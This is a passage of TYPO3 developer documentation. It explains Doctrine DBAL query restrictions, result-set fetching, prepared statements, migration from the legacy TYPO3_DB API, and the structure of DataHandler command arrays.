\TYPO3\CMS\Core\Database\Query\Restriction\FrontendGroupRestriction
Evaluates ['enablecolumns']['fe_group'].
\TYPO3\CMS\Core\Database\Query\Restriction\RootlevelRestriction
Match records on root level, adds AND (`pid` = 0)
\TYPO3\CMS\Core\Database\Query\Restriction\BackendWorkspaceRestriction
Determines the current workspace a backend user is working in and adds a couple of restrictions to select only records of that workspace if the table supports workspace-enabled records.
\TYPO3\CMS\Core\Database\Query\Restriction\FrontendWorkspaceRestriction
Restriction to filter records for frontend workspaces preview.
\TYPO3\CMS\Core\Database\Query\Restriction\WorkspaceRestriction
WorkspaceRestriction has been added to overcome downsides of FrontendWorkspaceRestriction and BackendWorkspaceRestriction. The workspace restriction limits an SQL query to only select records which are "online" and in live or current workspace.

When a restriction needs to be enforced, a restriction could implement the interface \TYPO3\CMS\Core\Database\Query\Restriction\EnforceableQueryRestrictionInterface. If a restriction implements EnforceableQueryRestrictionInterface, the following applies:

  • ->removeAll() will remove all restrictions except the ones that implement the interface EnforceableQueryRestrictionInterface.
  • ->removeByType() will remove a restriction completely, also restrictions that implement the interface EnforceableQueryRestrictionInterface.

QueryRestrictionContainer

\TYPO3\CMS\Core\Database\Query\Restriction\DefaultRestrictionContainer

Adds

  • \TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\HiddenRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction

This container is always added if not told otherwise.

\TYPO3\CMS\Core\Database\Query\Restriction\FrontendRestrictionContainer

Adds

  • \TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\HiddenRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\FrontendWorkspaceRestriction
  • \TYPO3\CMS\Core\Database\Query\Restriction\FrontendGroupRestriction

This container should be added by a developer to a query when creating query statements in frontend context or when handling frontend stuff from within CLI calls.

\TYPO3\CMS\Core\Database\Query\Restriction\LimitToTablesRestrictionContainer
This restriction container applies added restrictions only to the given table aliases. See Limit restrictions to tables for more information. Enforced restrictions are treated equally to all other restrictions.

Limit restrictions to tables

With \TYPO3\CMS\Core\Database\Query\Restriction\LimitToTablesRestrictionContainer it is possible to apply restrictions to a query only for a given set of tables, or - to be precise - table aliases. Since it is a restriction container, it can be added to the restrictions of the query builder and can hold restrictions itself.

Examples

If you want to apply one or more restrictions to only one table, that is possible as follows. Let us say you have content in the tt_content table with a relation to categories. Now you want to get all records with their categories except those that are hidden. In this case, the hidden restriction should apply only to the tt_content table, not to the sys_category or sys_category_*_mm table.

EXT:some_extension/Classes/Domain/Repository/ContentRepository.php
// use TYPO3\CMS\Core\Database\Connection;

$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()
    ->removeByType(HiddenRestriction::class)
    ->add(
        GeneralUtility::makeInstance(LimitToTablesRestrictionContainer::class)
            ->addForTables(GeneralUtility::makeInstance(HiddenRestriction::class), ['tt'])
    );
$queryBuilder->select('tt.uid', 'tt.header', 'sc.title')
    ->from('tt_content', 'tt')
    ->from('sys_category', 'sc')
    ->from('sys_category_record_mm', 'scmm')
    ->where(
        $queryBuilder->expr()->eq(
            'scmm.uid_foreign',
            $queryBuilder->quoteIdentifier('tt.uid')
        ),
        $queryBuilder->expr()->eq(
            'scmm.uid_local',
            $queryBuilder->quoteIdentifier('sc.uid')
        ),
        $queryBuilder->expr()->eq(
            'tt.uid',
            $queryBuilder->createNamedParameter($id, Connection::PARAM_INT)
        )
    );
Copied!

Read how to correctly instantiate a query builder with the connection pool.

In addition, it is possible to restrict the complete set of restrictions of a query builder to a given set of table aliases:

EXT:some_extension/Classes/Domain/Repository/ContentRepository.php
// use TYPO3\CMS\Core\Database\Connection;

$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()
    ->removeAll()
    ->add(GeneralUtility::makeInstance(HiddenRestriction::class));
$queryBuilder->getRestrictions()->limitRestrictionsToTables(['c2']);
$queryBuilder
    ->select('c1.*')
    ->from('tt_content', 'c1')
    ->leftJoin('c1', 'tt_content', 'c2', 'c1.parent_field = c2.uid')
    ->orWhere(
        $queryBuilder->expr()->isNull('c2.uid'),
        $queryBuilder->expr()->eq(
            'c2.pid',
            $queryBuilder->createNamedParameter(1, Connection::PARAM_INT)
        )
    );
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Which results in:

SELECT "c1".*
  FROM "tt_content" "c1"
  LEFT JOIN "tt_content" "c2" ON c1.parent_field = c2.uid
  WHERE (("c2"."uid" IS NULL) OR ("c2"."pid" = 1))
    AND ("c2"."hidden" = 0))
Copied!

Custom restrictions

It is possible to add additional query restrictions by adding class names as key to $GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'] . These restriction objects will be added to any select query executed using the QueryBuilder.

If these added restriction objects additionally implement \TYPO3\CMS\Core\Database\Query\Restriction\EnforceableQueryRestrictionInterface and return true in the to be implemented method isEnforced(), calling $queryBuilder->getRestrictions()->removeAll() such restrictions will still be applied to the query.

If an enforced restriction must be removed, it can still be removed with $queryBuilder->getRestrictions()->removeByType(SomeClass::class).

Implementers of custom restrictions can therefore have their restrictions always enforced, or even not applied at all, by returning an empty expression in certain cases.

To add a custom restriction class, use the following snippet:

EXT:my_extension/ext_localconf.php
use MyVendor\MyExtension\Database\Query\Restriction\CustomRestriction;

if (!isset($GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'][CustomRestriction::class])) {
    $GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'][CustomRestriction::class] = [];
}
Copied!

Removing third party restrictions is possible, by setting the option disabled for a restriction to true in global TYPO3 configuration or ext_localconf.php of an extension:

EXT:my_extension/ext_localconf.php
use MyVendor\MyExtension\Database\Query\Restriction\CustomRestriction;

$GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'][CustomRestriction::class]['disabled'] = true;
Copied!

Examples

Often the default restrictions are sufficient. Nothing needs to be done in those cases.

However, many backend modules still want to show disabled records and remove the start time and end time restrictions to allow administration of those records for an editor. A typical setup from within a backend module:

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Utility\GeneralUtility;
// use TYPO3\CMS\Core\Database\Connection;
// use TYPO3\CMS\Core\Database\ConnectionPool;
// use TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction
// SELECT `uid`, `bodytext` FROM `tt_content` WHERE (`pid` = 42) AND (`tt_content`.`deleted` = 0)
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
// Remove all restrictions but add DeletedRestriction again
$queryBuilder
    ->getRestrictions()
    ->removeAll()
    ->add(GeneralUtility::makeInstance(DeletedRestriction::class));
$result = $queryBuilder
    ->select('uid', 'bodytext')
    ->from('tt_content')
    ->where($queryBuilder->expr()->eq(
        'pid',
        $queryBuilder->createNamedParameter($pid, Connection::PARAM_INT)
    ))
    ->executeQuery()
    ->fetchAllAssociative(();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

The DeletedRestriction should be kept in almost all cases. Usually, the only extension that dismisses that flag is the recycler module to list and resurrect deleted records. Any object implementing the QueryRestrictionInterface can be given to ->add(). This allows extensions to deliver own restrictions.

An alternative to the recommended way of first removing all restrictions and then adding needed ones again (using ->removeAll(), then ->add()) is to kick specific restrictions with a call to ->removeByType():

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Utility\GeneralUtility;
// use TYPO3\CMS\Core\Database\ConnectionPool;
// use TYPO3\CMS\Core\Database\Query\Restriction\StartTimeRestriction
// use TYPO3\CMS\Core\Database\Query\Restriction\EndTimeRestriction
// Remove starttime and endtime, but keep hidden and deleted
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->getRestrictions()
    ->removeByType(StartTimeRestriction::class)
    ->removeByType(EndTimeRestriction::class);
Copied!

Read how to correctly instantiate a query builder with the connection pool.

In the frontend it is often needed to swap the DefaultRestrictionContainer with the FrontendRestrictionContainer:

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Database\Query\Restriction\FrontendRestrictionContainer
// Remove default restrictions and add list of default frontend restrictions
$queryBuilder->setRestrictions(GeneralUtility::makeInstance(FrontendRestrictionContainer::class));
Copied!

Note that ->setRestrictions() resets any previously specified restrictions. Any class instance implementing QueryRestrictionContainerInterface can be given to ->setRestrictions(). This allows extensions to deliver and use an custom set of restrictions for own query statements if needed.

Result

A \Doctrine\DBAL\Result object is returned by QueryBuilder->executeQuery() for ->select() and ->count() query types, and by Connection->select() and Connection->count() calls.

The object represents a query result set and has methods to fetch single rows with ->fetchAssociative() or to fetch all rows as an array with ->fetchAllAssociative().

Unlike \Doctrine\DBAL\Statement returned formerly by ->execute(), a single prepared statement with different values cannot be executed multiple times.

fetchAssociative()

This method fetched the next row from the result. It is usually used in while() loops. This is the recommended way of accessing the result in most use cases.

Typical example:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection
// Fetch all records from tt_content on page 42
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$result = $queryBuilder
    ->select('uid', 'bodytext')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'pid',
            $queryBuilder->createNamedParameter(42, Connection::PARAM_INT)
        )
    )
  ->executeQuery();

while ($row = $result->fetchAssociative()) {
    // Do something useful with that single $row
}
Copied!

Read how to correctly instantiate a query builder with the connection pool.

->fetchAssociative() returns an array reflecting one result row with field/value pairs in one call and retrieves the next row with the next call. It returns false when no more rows can be found.

fetchAllAssociative()

This method returns an array containing all rows of the result set by internally implementing the same while loop as above. Using that method saves some precious code characters, but is more memory intensive if the result set is large and contains many rows and data, since large arrays are carried around in PHP:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// Fetch all records from tt_content on page 42
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$rows = $queryBuilder
    ->select('uid', 'bodytext')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'pid',
            $queryBuilder->createNamedParameter(42, Connection::PARAM_INT)
        )
    )
    ->executeQuery()
    ->fetchAllAssociative();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

fetchOne()

The method returns a single column from the next row of a result set, other columns from this result row are discarded. It is especially handy for QueryBuilder->count() queries:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// Get the number of tt_content records on pid 42 into variable $numberOfRecords
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$numberOfRecords = $queryBuilder
    ->count('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'pid',
            $queryBuilder->createNamedParameter(42, Connection::PARAM_INT)
        )
    )
    ->executeQuery()
    ->fetchOne();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

rowCount()

This method returns the number of rows affected by the last execution of this statement. Use this method instead of counting the number of records in a ->fetchAssociative() loop manually.

Reuse prepared statement

Doctrine DBAL usually prepares a statement first and then executes it with the given parameters. The implementation of prepared statements depends on the particular database driver. A driver that does not implement prepared statements properly falls back to a direct execution of a given query.

There is an API that allows to make real use of prepared statements. This is handy when the same query is executed over and over again with different arguments. The example below prepares a statement for the pages table and executes it twice with different arguments.

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('pages');
$statement = $queryBuilder
    ->select('uid')
    ->from('pages')
    ->where(
        $queryBuilder->expr()->eq(
            'uid',
            $queryBuilder->createPositionalParameter(0, Connection::PARAM_INT)
        )
    )
    ->prepare();

$pages = [];
foreach ([24, 25] as $pageId) {
    // Bind $pageId value to the first (and in this case only) positional parameter
 $statement->bindValue(1, $pageId, Connection::PARAM_INT);
 $result = $statement->executeQuery();
    $pages[] = $result->fetchAssociative();
    $result->free(); // free the resources for this result
}
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Looking at a MySQL debug log:

Prepare SELECT `uid` FROM `pages` WHERE `uid` = ?
Execute SELECT `uid` FROM `pages` WHERE `uid` = '24'
Execute SELECT `uid` FROM `pages` WHERE `uid` = '25'
Copied!

The log shows one statement preparation with two executions.

Migrating from TYPO3_DB

This chapter is for those poor souls who want to migrate old and busted $GLOBALS['TYPO3_DB'] calls to new hotness Doctrine DBAL based API.

It tries to give some hints on typical pitfalls and areas a special eye should be kept on.

Migration of a single extension is finished if a search for $GLOBALS['TYPO3_DB'] does not return hits anymore. This search is the most simple entry point to see which areas need work.

Compare Raw Queries

The main goal during migration is usually to fire a logically identical query. One recommended and simple approach to verify this is to note down and compare the queries at the lowest possible layer. In $GLOBALS['TYPO3_DB'], the final query statement is usually retrieved by removing the exec_ part from the method name, in doctrine method QueryBuilder->getSQL() can be used:

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Database\Connection;

// Initial code:
$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery('*', 'index_fulltext', 'phash=' . (int)$phash);

// Remove 'exec_' and debug SQL:
debug($GLOBALS['TYPO3_DB']->SELECTquery('*', 'index_fulltext', 'phash=' . (int)$phash));
// Returns:
'SELECT * FROM index_fulltext WHERE phash=42'

// Migrate to doctrine and debug SQL:
// 'SELECT * FROM index_fulltext WHERE phash=42'
$queryBuilder->select('*')
->from('index_fulltext')
->where(
   $queryBuilder->expr()->eq('phash', $queryBuilder->createNamedParameter($phash, Connection::PARAM_INT))
);
debug($queryBuilder->getSQL());
Copied!

The above example returns the exact same query as before. This is not always as trivial to see since WHERE clauses are often in a different order. This especially happens if the RestrictionBuilder is involved. Since the restrictions are crucial and can easily go wrong it is advised to keep an eye on those where parts during transition.

enableFields() and deleteClause()

BackendUtility::deleteClause() adds deleted=0 if ['ctrl']['deleted'] is specified in the table's TCA. The method call should be removed during migration. If there is no other restriction method involved in the old call like enableFields(), the migrated code typically removes all doctrine default restrictions and just adds the DeletedRestriction again:

EXT:some_extension/Classes/SomeClass.php
// Before:
$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery(
   'uid, TSconfig',
   'pages',
   'TSconfig != \'\''
      . BackendUtility::deleteClause('pages'),
   'pages.uid'
);

// use TYPO3\CMS\Core\Utility\GeneralUtility;
// use TYPO3\CMS\Core\Database\ConnectionPool;
// use TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction
// After:
$queryBuilder = GeneralUtility::makeInstance(ConnectionPool::class)->getQueryBuilderForTable('pages');
$queryBuilder
   ->getRestrictions()
   ->removeAll()
   ->add(GeneralUtility::makeInstance(DeletedRestriction::class));
$res = $queryBuilder->select('uid', 'TSconfig')
   ->from('pages')
   ->where($queryBuilder->expr()->neq('TSconfig', $queryBuilder->createNamedParameter('')))
   ->groupBy('uid')
   ->execute();
Copied!

BackendUtility::versioningPlaceholderClause('pages') is typically substituted with the BackendWorkspaceRestriction. Example very similar to the above one:

EXT:some_extension/Classes/SomeClass.php
// Before:
$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery(
   'uid, TSconfig',
   'pages',
   'TSconfig != \'\''
      . BackendUtility::deleteClause('pages')
      . BackendUtility::versioningPlaceholderClause('pages'),
   'pages.uid'
);

// use TYPO3\CMS\Core\Utility\GeneralUtility;
// use TYPO3\CMS\Core\Database\ConnectionPool;
// use TYPO3\CMS\Core\Database\Query\Restriction\DeletedRestriction
// use TYPO3\CMS\Core\Database\Query\Restriction\BackendWorkspaceRestriction
// After:
$queryBuilder = GeneralUtility::makeInstance(ConnectionPool::class)->getQueryBuilderForTable('pages');
$queryBuilder
   ->getRestrictions()
   ->removeAll()
   ->add(GeneralUtility::makeInstance(DeletedRestriction::class))
   ->add(GeneralUtility::makeInstance(BackendWorkspaceRestriction::class));
$res = $queryBuilder->select('uid', 'TSconfig')
   ->from('pages')
   ->where($queryBuilder->expr()->neq('TSconfig', $queryBuilder->createNamedParameter('')))
   ->groupBy('uid')
   ->execute();
Copied!

BackendUtility::BEenableFields() in combination with BackendUtility::deleteClause() adds the same calls as the DefaultRestrictionContainer. No further configuration needed:

EXT:some_extension/Classes/SomeClass.php
// Before:
$GLOBALS['TYPO3_DB']->exec_SELECTgetRows(
   'title, content, crdate',
   'sys_news',
   '1=1'
      . BackendUtility::BEenableFields($systemNewsTable)
      . BackendUtility::deleteClause($systemNewsTable)
);

// use TYPO3\CMS\Core\Utility\GeneralUtility;
// use TYPO3\CMS\Core\Database\ConnectionPool;
// After:
$queryBuilder = GeneralUtility::makeInstance(ConnectionPool::class)
   ->getQueryBuilderForTable('sys_news');
$queryBuilder
   ->select('title', 'content', 'crdate')
   ->from('sys_news')
   ->execute();
Copied!

cObj->enableFields() in frontend context is typically directly substituted with FrontendRestrictionContainer:

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Database\Connection;

// Before:
$GLOBALS['TYPO3_DB']->exec_SELECTquery(
   '*', $table,
   'pid=' . (int)$pid
      . $this->cObj->enableFields($table)
);

// use TYPO3\CMS\Core\Utility\GeneralUtility;
// use TYPO3\CMS\Core\Database\ConnectionPool;
// use TYPO3\CMS\Core\Database\Query\Restriction\FrontendRestrictionContainer
// After:
$queryBuilder = GeneralUtility::makeInstance(ConnectionPool::class)->getQueryBuilderForTable($table);
$queryBuilder->setRestrictions(GeneralUtility::makeInstance(FrontendRestrictionContainer::class));
$queryBuilder->select('*')
   ->from($table)
   ->where(
      $queryBuilder->expr()->eq('pid', $queryBuilder->createNamedParameter($pid, Connection::PARAM_INT))
   )
);
Copied!

From ->exec_UDATEquery() to ->update()

Most often, the easiest way to migrate a $GLOBALS['TYPO3_DB']->exec_UDATEquery() is to use $connection->update():

EXT:some_extension/Classes/SomeClass.php
// Before:
$database->exec_UPDATEquery(
    'aTable', // table
    'uid = 42', // where
    [ 'aField' => 'newValue' ] // value array
);

// After:
$connection->update(
    'aTable', // table
    [ 'aField' => 'newValue' ], // value array
    [ 'uid' => 42 ] // where
);
Copied!

Result Set Iteration

The exec_* calls return a resource object that is typically iterated over using sql_fetch_assoc(). This is typically changed to ->fetchAssociative() on the Statement object:

EXT:some_extension/Classes/SomeClass.php
// Before:
$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery(...);
while ($row = $GLOBALS['TYPO3_DB']->sql_fetch_assoc($res)) {
   // Do something
}

// After:
$statement = $queryBuilder->execute();
while ($row = $statement->fetchAssociative()) {
   // Do something
}
Copied!

sql_insert_id()

It is sometimes needed to fetch the new uid of a just added record to further work with that row. In TYPO3_DB this was done with a call to ->sql_insert_id() after a ->exec_INSERTquery() call on the same resource. ->lastInsertId() can be used instead:

EXT:some_extension/Classes/SomeClass.php
// Before:
$GLOBALS['TYPO3_DB']->exec_INSERTquery(
   'pages',
   [
      'pid' => 0,
      'title' => 'Home',
   ]
);
$pageUid = $GLOBALS['TYPO3_DB']->sql_insert_id();

// use TYPO3\CMS\Core\Utility\GeneralUtility;
// use TYPO3\CMS\Core\Database\ConnectionPool;
// After:
$connectionPool = GeneralUtility::makeInstance(ConnectionPool::class);
$databaseConnectionForPages = $connectionPool->getConnectionForTable('pages');
$databaseConnectionForPages->insert(
   'pages',
   [
      'pid' => 0,
      'title' => 'Home',
    ]
);
$pageUid = (int)$databaseConnectionForPages->lastInsertId('pages');
Copied!

fullQuoteStr()

->fullQuoteStr() is rather straight changed to a ->createNamedParameter(), typical case:

EXT:some_extension/Classes/SomeClass.php
// Before:
$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery(
   'uid, title',
   'tt_content',
   'bodytext = ' . $GLOBALS['TYPO3_DB']->fullQuoteStr('horst')
);

// use TYPO3\CMS\Core\Utility\GeneralUtility;
// use TYPO3\CMS\Core\Database\ConnectionPool;
// After:
$queryBuilder = GeneralUtility::makeInstance(ConnectionPool::class)->getQueryBuilderForTable('tt_content');
$statement = $queryBuilder
   ->select('uid', 'title')
   ->from('tt_content')
   ->where(
      $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('horst'))
   )
   ->execute();
Copied!

escapeStrForLike()

$GLOBALS['TYPO3_DB']->escapeStrForLike() is replaced by $queryBuilder->escapeLikeWildcards().

ext_tables.sql

The schema migrator that compiles ext_tables.sql files from all loaded extensions and compares them with current schema definitions in the database has been fully rewritten. It mostly should work as before, some specific fields however tend to grow a little larger on mysql platforms than before. This usually shouldn't have negative side effects, typically no ext_tables.sql changes are needed when migrating an extension to the new query API.

TCA and TypoScript

TCA and TypoScript needs to be adapted at places where SQL fragments are specified. Table and field names are quoted differently on different platforms and extension developers should never hard code quoting for specific target platforms, but let the Core quote the field according to the currently used platform. This leads to a new syntax in various places, for instance in TCA property foreign_table_where. In general it applies to all places where SQL fragments are specified:

EXT:some_extension/Classes/SomeClass.php
// Before:
'foreign_table_where' => 'AND tx_some_foreign_table_name.pid = 42',

// After:
'foreign_table_where' => 'AND {#tx_some_foreign_table_name}.{#pid} = 42',
Copied!

If using MySQL, this fragment will be parsed to AND `tx_some_foreign_table_name`.`pid` = 42 (note the backticks) with the help of QueryHelper::quoteDatabaseIdentifiers().

Extbase QueryBuilder

The extbase internal QueryBuilder used in Repositories still exists and works a before. There is usually no manual migration needed. It is theoretically possible to use the doctrine based query builder object in Extbase which can become handy since the new one is much more feature rich, but that topic didn't yet fully settle in the Core and no general recommendation can be given yet.

Various tips and tricks

  • Use Find usages of PhpStorm for examples! The source code of the Core is a great way to learn how specific methods of the API are used. In PhpStorm it is extremely helpful to right-click on a single method and list all method usages with Find usages. This is especially handy to quickly see usage examples for complex methods like join() from the query builder.
  • INSERT, UPDATE and DELETE statements are often better to read and write using the Connection object instead of the query builder.
  • SELECT DISTINCT aField is not supported but can be substituted with a ->groupBy('aField').
  • getSql() and executeQuery() / executeStatement() can be used after each other during development to simplify debugging:

    EXT:my_extension/Classes/Domain/Repository/MyRepository.php
    $queryBuilder
        ->select('uid')
        ->from('tt_content')
        ->where(
            $queryBuilder->expr()->eq(
                'bodytext',
                $queryBuilder->createNamedParameter('lorem')
            )
        );
    
    debug($queryBuilder->getSql());
    
    $result = $queryBuilder->executeQuery();
    Copied!
  • Doctrine DBAL throws exceptions if something goes wrong when calling executeQuery() or executeStatement(). The exception type is \Doctrine\DBAL\Exception, which can be caught and transferred to a better error message if the application should expect query errors. Note that this is not good habit and often indicates an architectural flaw in the application at a different layer.
  • count() <database-query-builder-count> query types using the query builder normally call ->fetchOne() to receive the count value. The count() method of the Connection object does this automatically and returns the result of the count value directly.

Introduction

Database

The DataHandler is the class that handles all data writing to database tables configured in TCA. In addition the class handles commands such as copy, move, delete. It will handle undo/history and versioning of records and everything will be logged to the sys_log table. It will make sure that write permissions are evaluated correctly for the user trying to write to the database. Generally, any processing specific option in the $GLOBALS['TCA'] array is handled by DataHandler.

Using DataHandler for manipulation of the database content in the TCA-configured tables guarantees that the data integrity of TYPO3 is respected. This cannot be safely guaranteed, if you write to TCA-configured database tables directly. It will also manage the relations to files and other records.

DataHandler requires a backend login to work. This is due to the fact that permissions are observed (of course) and thus DataHandler needs a backend user to evaluate against. This means you cannot use DataHandler from the frontend scope. Thus writing to tables (such as a guestbook) will have to be done from the frontend without DataHandler.

Files

DataHandler can also handle files. The file operations are normally performed in the File > Filelist module where you can manage a directory on the server by copying, moving, deleting and editing files and directories. The file operations are managed by two Core classes, \TYPO3\CMS\Core\Utility\File\BasicFileUtility and \TYPO3\CMS\Core\Utility\File\ExtendedFileUtility .

DataHandler basics

Introduction

When you are using DataHandler from your backend applications you need to prepare two arrays of information which contain the instructions to DataHandler ( \TYPO3\CMS\Core\DataHandling\DataHandler ) of what actions to perform. They fall into two categories: data and commands.

"Data" is when you want to write information to a database table or create a new record.

"Commands" is when you want to move, copy or delete a record in the system.

The data and commands are created as multidimensional arrays, and to understand the API of DataHandler you need to understand the hierarchy of these two arrays.

Basic usage

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\DataHandling;

use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{

    public function basicUsage(): void
    {
        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        $cmd = [];
        $data = [];
        $dataHandler->start($data, $cmd);

        // ... do something more ...
    }
}
Copied!

After this initialization you usually want to perform the actual operations by calling one (or both) of these two methods:

$this->dataHandler->process_datamap();
$this->dataHandler->process_cmdmap();
Copied!

Commands array

Syntax:

$cmd[ tablename ][ uid ][ command ] = value
Copied!

Description of keywords in syntax:

tablename

tablename
Data type
string

Name of the database table. It must be configured in the $GLOBALS['TCA'] array, otherwise it cannot be processed.

uid

uid
Data type
integer

The UID of the record that is manipulated. This is always an integer.

command

command
Data type
string (command keyword)

The command type you want to execute.

See command keywords and values

value

value
Data type
mixed

The value for the command.

See command keywords and values

Command keywords and values

copy

copy
Data type
integer or array

The significance of the value depends on whether it is positive or negative:

Positive value
The value points to a page UID. A copy of the record (and possibly child elements/tree below) will be inserted inside that page as the first element.
Negative value
The (absolute) value points to another record from the same table as the record being copied. The new record will be inserted on the same page as that record and if $GLOBALS['TCA'][$table]['ctrl']['sortby'] is set, then it will be positioned after.
Zero value
Record is inserted on tree root level.
array

The array has to contain the integer value as in examples above and may contain field => value pairs for updates. The array is structured like:

[
    'action' => 'paste', // 'paste' is used for both move and copy commands
    'target' => $pUid,   // Defines the page to insert the record, or record uid to copy after
    'update' => $update, // Array with field => value to be updated.
]
Copied!

move

move
DataType
integer

Works like copy but moves the record instead of making a copy.

delete

delete
Data Type
integer (1)

Value should always be "1".

This action will delete the record (or mark the record "deleted", if configured in $GLOBALS['TCA'][$table]['ctrl']['delete']).

undelete

undelete
Data Type
integer (1)

Value should always be "1".

This action will set the "deleted" flag back to 0.

localize

localize
Data type
integer

The value is the languageId (defined in the site configuation) to localize the record into. Basically a localization of a record is making a copy of the record (possibly excluding certain fields defined with l10n_mode) but changing relevant fields to point to the right language ID.

Requirements for a successful localization is this:

  • [ctrl] options languageField and transOrigPointerField must be defined for the table
  • A languageId must be configured in the site configuration.
  • The record to be localized by currently be set to default language and not have any value set for the TCA transOrigPointerField either.
  • There cannot exist another localization to the given language for the record (looking in the original record PID).

Apart from this, ordinary permissions apply as if the user wants to make a copy of the record on the same page.

The localize DataHandler command should be used when translating records in "connected mode" (strict translation of records from the default language). This command is used when selecting the "Translate" strategy in the content elements translation wizard.

copyToLanguage

copyToLanguage
Data type
integer

It behaves like localize command (both record and child records are copied to given language), but does not set transOrigPointerField fields (for example, l10n_parent).

The copyToLanguage command should be used when localizing records in the "free mode". This command is used when localizing content elements using translation wizard's "Copy" strategy.

Deprecated since version 11.5

Legacy syntax as comma-separated value for IRRE localize synchronize command in DataHandler was removed.

inlineLocalizeSynchronize

inlineLocalizeSynchronize
Data type
array

Performs localization or synchronization of child records. The command structure is like:

$cmd['tt_content'][13]['inlineLocalizeSynchronize'] = [ // 13 is a parent record uid
    'field' => 'tx_myfieldname', // field we want to synchronize
    'language' => 2,             // uid of the target language
    // either the key 'action' or 'ids' must be set
    'action' => 'localize'       // or 'synchronize'
    'ids' =>  [1, 2, 3]          // array of child IDs to be localized
]
Copied!

version

version
Data type
array

Versioning action.

Keys:

[action]

Keyword determining the versioning action. Options are:

"new"

Indicates that a new version of the record should be created. Additional keys, specific for "new" action:

[treeLevels]

(Only pages) Integer, -1 to 4, indicating the number of levels of the page tree to version together with a page. This is also referred to as the versioning type:

  • -1 ("element") means only the page record gets versioned (default)
  • 0 ("page") means the page + content tables (defined by ctrl flag versioning_followPages )
  • >0 ("branch") means the the whole branch is versioned (full copy of all tables), down to the level indicated by the value (1 = 1 level down, 2 = 2 levels down, etc.). The treeLevel is recorded in the field t3ver_swapmode and will be observed when the record is swapped during publishing.
[label]
Indicates the version label to apply. If not given, a standard label including version number and date is added.
"swap"

Indicates that the current online version should be swapped with another. Additional keys, specific for "swap" action:

[swapWith]
Indicates the uid of the record to swap current version with!
[swapIntoWS]
Boolean, indicates that when a version is published it should be swapped into the workspace of the offline record.
"clearWSID"
Indicates that the workspace of the record should be set to zero (0). This removes versions out of workspaces without publishing them.
"flush"
Completely deletes a version without publishing it.
"setStage"

Sets the stage of an element. Special feature: The id key in the array can be a comma-separated list of ids in order to perform the stageChange over a number of records. Also, the internal variable ->generalComment (also available through `/record/commit` route as `&generalComment`) can be used to set a default comment for all stage changes of an instance of the data handler. Additional keys for this action are:

[stageId]

Values are:

  • -1 (rejected)
  • 0 (editing, default)
  • 1 (review),
  • 10 (publish)
[comment]
Comment string that goes into the log.

Examples of commands

EXT:my_extension/Classes/DataHandling/MyClass.php
$cmd['tt_content'][54]['delete'] = 1;    // Deletes tt_content record with uid=54
$cmd['tt_content'][1203]['copy'] = -303; // Copies tt_content uid=1203 to the position after tt_content uid=303 (new record will have the same pid as tt_content uid=1203)
$cmd['tt_content'][1203]['copy'] = 400;  // Copies tt_content uid=1203 to first position in page uid=400
$cmd['tt_content'][1203]['move'] = 400;  // Moves tt_content uid=1203 to the first position in page uid=400
Copied!

Accessing the uid of copied records

The DataHandler keeps track of records created by copy operations in its $copyMappingArray_merged property. This property is public but marked as @internal. So it is subject to change in future TYPO3 versions without notice.

